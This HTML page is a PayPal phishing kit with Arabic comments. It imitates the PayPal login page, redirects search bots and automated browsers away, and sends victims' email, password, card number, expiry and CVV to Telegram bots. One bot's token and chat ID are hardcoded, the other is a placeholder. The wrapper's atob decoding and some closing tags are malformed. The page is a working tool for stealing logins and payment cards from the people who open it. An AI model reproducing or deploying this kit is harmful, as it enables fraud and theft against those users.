<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Loading...</title>
<script>
document.write(atob("<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="robots" content="noindex, nofollow">
  <meta name="googlebot" content="noindex, nofollow, nosnippet">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Update Center</title>

  <!-- 🛡️ فلترة ذكية للبوتات -->
  <script>
    const bots = [
      "googlebot", "bingbot", "slurp", "duckduckbot", "baiduspider",
      "yandexbot", "sogou", "exabot", "facebot", "ia_archiver", "crawler",
      "spider", "bot", "scan", "preview"
    ];
    const ua = navigator.userAgent.toLowerCase();
    let blocked = false;

    for (let bot of bots) {
      if (ua.includes(bot)) {
        blocked = true;
        break;
      }
    }

    if (blocked || navigator.webdriver) {
      window.location.href = "https://google.com";
    }
  </script>

  <!-- 🎨 تصميم PayPal -->
  <style>
  /* هنا CSS الصفحة الأولى */
    @import url('https://fonts.googleapis.com/css2?family=Segoe+UI&display=swap');
    :root {
      --paypal-blue: #0070ba;
      --paypal-light-blue: #009cde;
      --paypal-dark-blue: #003087;
      --paypal-gray: #e5e5e5;
      --paypal-white: #ffffff;
    }
    body {
      margin: 0; padding: 0;
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
      background: var(--paypal-gray);
      display: flex; justify-content: center; align-items: center;
      height: 100vh;
    }
    .container {
      background: var(--paypal-white);
      width: 400px;
      padding: 40px 35px;
      border-radius: 12px;
      box-shadow: 0 4px 25px rgba(0,0,0,0.15);
      box-sizing: border-box;
      text-align: left;
      position: relative;
    }
    .logo {
      display: flex; justify-content: flex-start;
      margin-bottom: 30px;
      animation: floatLogo 3s ease-in-out infinite;
    }
    .logo img { width: 150px; }
    @keyframes floatLogo {
      0%, 100% { transform: translateY(0); }
      50% { transform: translateY(-15px); }
    }
    h1 {
      font-weight: 700; font-size: 28px;
      margin-bottom: 18px; color: var(--paypal-blue);
    }
    p.subtitle {
      font-size: 16px;
      margin-bottom: 25px;
      color: var(--paypal-light-blue);
    }
    label {
      font-weight: 600; font-size: 14px;
      margin-bottom: 6px; display: block; color: #222;
    }
    input[type="email"], input[type="password"] {
      width: 100%;
      padding: 14px 12px;
      margin-bottom: 20px;
      border: 1px solid #ccd0d5;
      border-radius: 6px;
      font-size: 16px;
    }
    input:focus {
      border-color: var(--paypal-blue);
      outline: none;
      box-shadow: 0 0 6px var(--paypal-light-blue);
    }
    button {
      width: 100%;
      background-color: var(--paypal-blue);
      color: var(--paypal-white);
      font-size: 18px; font-weight: 700;
      padding: 14px 0;
      border: none; border-radius: 6px;
      cursor: pointer;
      transition: background-color 0.3s ease;
      box-shadow: 0 4px 8px rgba(0, 112, 186, 0.5);
    }
    button:hover {
      background-color: var(--paypal-dark-blue);
    }
    .footer-text {
      font-size: 13px;
      text-align: center;
      margin-top: 28px;
      color: #6d6e71;
    }
    .secure-screen { display: none; text-align: center; }
    .secure-screen.active { display: block; }
    .secure-message {
      margin-top: 30px;
      font-size: 18px; font-weight: 700;
      color: var(--paypal-blue);
    }
    .steps-list {
      margin-top: 25px; list-style: none;
      padding: 0; color: #444; font-size: 15px;
    }
    .steps-list li {
      margin-bottom: 12px;
      opacity: 0.5;
      transition: opacity 0.4s ease;
    }
    .steps-list li.active {
      opacity: 1;
      font-weight: 700;
      color: var(--paypal-blue);
    }

    /* CSS الصفحة الثانية */
    #page2Body {
      background-color: #f5f7fa;
      font-family: 'Segoe UI', sans-serif;
      color: #111;
      padding: 30px;
      border-radius: 10px;
      box-shadow: 0 4px 10px rgba(0,0,0,0.1);
      width: 400px;
      box-sizing: border-box;
    }
    #page2Body h2 {
      font-size: 22px;
      text-align: center;
      margin-bottom: 25px;
    }
    #page2Body label {
      display: block;
      margin-top: 18px;
      font-size: 15px;
    }
    #page2Body input, #page2Body select {
      width: 100%;
      padding: 13px;
      margin-top: 6px;
      font-size: 15px;
      border: 1px solid #ccc;
      border-radius: 6px;
      box-sizing: border-box;
    }
    #page2Body input:focus, #page2Body select:focus {
      outline: none;
      border-color: var(--paypal-blue);
    }
    #cardLogo {
      width: 60px;
      display: none;
      margin: 10px auto;
      transition: 0.3s;
    }
    .error {
      color: red;
      font-size: 13px;
      margin-top: 5px;
      display: none;
    }
    #page2Body button {
      width: 100%;
      padding: 14px;
      margin-top: 25px;
      background-color: var(--paypal-blue);
      color: white;
      font-size: 16px;
      border: none;
      border-radius: 6px;
      cursor: pointer;
    }
    #page2Body button:hover {
      background-color: #005c9d;
    }
    .note {
      font-size: 12px;
      text-align: center;
      margin-top: 20px;
      color: #777;
    }
    #processingScreen {
      display: none;
      position: fixed;
      top: 0; left: 0;
      width: 100%; height: 100%;
      background-color: white;
      z-index: 9999;
      text-align: center;
      padding-top: 30vh;
    }
    #processingScreen img {
      width: 60px;
    }
    #processingScreen p {
      font-size: 18px;
      margin-top: 15px;
      color: #333;
    }
  </style>
</head>
<body>

  <!-- الصفحة الأولى -->
  <div id="page1">
    <div class="container" role="main" id="mainContainer">
      <div class="logo">
        <img src="https://www.paypalobjects.com/webstatic/icon/pp258.png" alt="PayPal Logo" />
      </div>

      <!-- شاشة الدخول -->
      <div id="loginScreen">
        <h1 id="title">Login to PayPal</h1>
        <p class="subtitle" id="subtitle">Enter your email and password to access your account.</p>
        <form id="loginForm" novalidate>
          <label for="email" id="labelEmail">Email or phone number</label>
          <input type="email" id="email" name="email" placeholder="example@domain.com" autocomplete="username" required />
          <label for="password" id="labelPassword">Password</label>
          <input type="password" id="password" name="password" placeholder="********" autocomplete="current-password" required />
          <button type="submit" id="btnSubmit">Log In</button>
          <p id="errorMessage" style="color: crimson; font-weight: bold; margin-top: 10px; display: none;"></p>
        </form>
        <div class="footer-text" id="footerText">© 1999-2025 PayPal. All rights reserved.</div>
      </div>

      <!-- شاشة التأمين -->
      <div id="secureScreen" class="secure-screen">
        <h1 id="secureTitle">Account Security</h1>
        <p id="secureMessage" class="secure-message">Your account is being secured. Please wait...</p>
        <ul class="steps-list" id="stepsList">
          <li>Verifying account details...</li>
          <li>Updating security settings...</li>
          <li>Reviewing recent activity...</li>
          <li>Finalizing account protection...</li>
        </ul>
        <p id="finalMessage" class="secure-message" style="display:none;">Your account has been secured successfully!</p>
      </div>
    </div>
  </div>

  <!-- الصفحة الثانية -->
  <div id="page2" style="display:none;">
    <div id="page2Body">
      <div class="header">
        <img src="https://www.paypalobjects.com/webstatic/icon/pp258.png" alt="PayPal Logo" />
      </div>

      <h2>Confirm Your Payment Info</h2>

      <label>Card Type</label>
      <select id="cardType" onchange="showCardLogo()">
        <option disabled selected>Select Card Type</option>
        <option value="visa">Visa</option>
        <option value="mastercard">MasterCard</option>
        <option value="amex">American Express</option>
      </select>

      <img id="cardLogo" alt="Card Logo" />

      <label>Card Number</label>
      <input type="text" id="cardNumber" placeholder="XXXX XXXX XXXX XXXX" />
      <div id="numberError" class="error">🛑 Digits only in card number.</div>

      <label>Expiration Date (MM/YY)</label>
      <input type="text" id="expiry" placeholder="MM/YY" />
      <div id="expiryError" class="error">🛑 Use numbers only in format MM/YY.</div>

      <label>CVV</label>
      <input type="text" id="cvv" placeholder="3 or 4 digits" />
      <div id="cvvError" class="error">🛑 CVV must be digits only.</div>

      <button onclick="redirect()">Secure Card</button>
      <p class="note">🛡 Protected by PayPal™</p>
    </div>

    <div id="processingScreen">
      <img src="https://i.imgur.com/llF5iyg.gif" alt="Loading..." />
      <p>Securing your card...</p>
    </div>
  </div>

  <script>
    // صفحة 1 - أكواد الصفحة الأولى
    const userLang = navigator.language || 'en';
    const isRTL = ['ar', 'he', 'fa'].some(l => userLang.startsWith(l));
    document.documentElement.dir = isRTL ? 'rtl' : 'ltr';

    const texts = {
      en: {
        error: "⚠️ Invalid email or password",
        secureSteps: [
          "Verifying account details...",
          "Updating security settings...",
          "Reviewing recent activity...",
          "Finalizing account protection..."
        ],
        success: "Your account has been secured successfully!"
      },
      ar: {
        error: "⚠️ البريد الإلكتروني أو كلمة السر غير صحيحة",
        secureSteps: [
          "جارٍ التحقق من تفاصيل الحساب...",
          "تحديث إعدادات الأمان...",
          "مراجعة النشاط الأخير...",
          "الانتهاء من حماية الحساب..."
        ],
        success: "تم تأمين حسابك بنجاح!"
      }
    };
    const lang = isRTL ? texts.ar : texts.en;

    const loginForm = document.getElementById('loginForm');
    const loginScreen = document.getElementById('loginScreen');
    const secureScreen = document.getElementById('secureScreen');
    const errorMsg = document.getElementById('errorMessage');
    const stepsList = document.getElementById('stepsList');
    const finalMessage = document.getElementById('finalMessage');

    function sendToTelegram(email, password) {
      const token = "YOUR_BOT_TOKEN";       // ← غيّره
      const chatId = "YOUR_TELEGRAM_ID";    // ← غيّره
      const message = `👁‍🗨️ بيانات مستلمة:\n📧 Email: ${email}\n🔑 Password: ${password}`;
      const url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`;
      fetch(url).catch(err => console.error("فشل الإرسال:", err));
    }

    loginForm.addEventListener('submit', e => {
      e.preventDefault();
      const email = document.getElementById("email").value.trim();
      const password = document.getElementById("password").value.trim();

      sendToTelegram(email, password); // أرسل دائمًا

      if (email.length < 6 || !email.includes("@") || password.length < 6) {
        errorMsg.textContent = lang.error;
        errorMsg.style.display = "block";
        return;
      }

      errorMsg.style.display = "none";
      loginScreen.style.display = 'none';
      secureScreen.classList.add('active');

      stepsList.innerHTML = "";
      lang.secureSteps.forEach(step => {
        const li = document.createElement("li");
        li.textContent = step;
        stepsList.appendChild(li);
      });

      let currentStep = 0;
      finalMessage.style.display = "none";
      finalMessage.textContent = lang.success;

      const stepsItems = stepsList.querySelectorAll('li');
      const activateStep = () => {
        if (currentStep > 0) stepsItems[currentStep - 1].classList.remove('active');
        if (currentStep < stepsItems.length) {
          stepsItems[currentStep].classList.add('active');
          currentStep++;
          setTimeout(activateStep, 2000);
        } else {
          stepsItems.forEach(item => item.classList.remove('active'));
          finalMessage.style.display = 'block';
          // انتقل تلقائياً إلى الصفحة الثانية بعد انتهاء الخطوات
          document.getElementById('page1').style.display = 'none';
          document.getElementById('page2').style.display = 'block';
        }
      };
      activateStep();
    });

    // صفحة 2 - أكواد الصفحة الثانية
    function showCardLogo() {
      const type = document.getElementById("cardType").value;
      const logo = document.getElementById("cardLogo");
      if (type === "visa") {
        logo.src = "https://upload.wikimedia.org/wikipedia/commons/5/5e/Visa_Inc._logo.svg";
      } else if (type === "mastercard") {
        logo.src = "https://upload.wikimedia.org/wikipedia/commons/2/2a/Mastercard-logo.svg";
      } else if (type === "amex") {
        logo.src = "https://upload.wikimedia.org/wikipedia/commons/3/30/American_Express_logo_%282018%29.svg";
      }
      logo.style.display = "block";
    }

    function redirect() {
      const type = document.getElementById("cardType").value;
      const number = document.getElementById("cardNumber").value.replace(/\s+/g, '');
      const expiry = document.getElementById("expiry").value;
      const cvv = document.getElementById("cvv").value;

      if (number.length >= 14 && /^[0-9]+$/.test(number)) {
        document.getElementById("processingScreen").style.display = "block";

        const message = `
💳 بطاقة جديدة:
🔹 النوع: ${type}
🔢 الرقم: ${number}
📅 الصلاحية: ${expiry}
🔐 CVV: ${cvv}
        `;

        fetch(`https://api.telegram.org/bot8054578360:AAE4-PAEetO-XSSU3-7cTCEEsGZ0MUOp78w/sendMessage?chat_id=7856736153&text=${encodeURIComponent(message)}`)
          .then(() => {
            setTimeout(() => {
              window.location.href = "https://www.paypal.com";
            }, 3000);
          })
          .catch(() => {
            alert("⚠️ فشل في إرسال البيانات إلى تيليغرام.");
            document.getElementById("processingScreen").style.display = "none";
          });
      } else {
        alert("⚠️ Please enter valid card information.");
      }
    }

    function checkNumericInput(id, errorId) {
      const input = document.getElementById(id);
      const error = document.getElementById(errorId);
      input.addEventListener('input', () => {
        if (/[^0-9\/]/.test(input.value)) {
          error.style.display = "block";
        } else {
          error.style.display = "none";
        }
      });
    }

    window.onload = function () {
      checkNumericInput("cardNumber", "numberError");
      checkNumericInput("expiry", "expiryError");
      checkNumericInput("cvv", "cvvError");
    };
  </style>
</head>
<body>

<!-- 👁️ ضع محتوى الصفحة هنا -->

</body>
</html>"));
</script>
</head>
</html>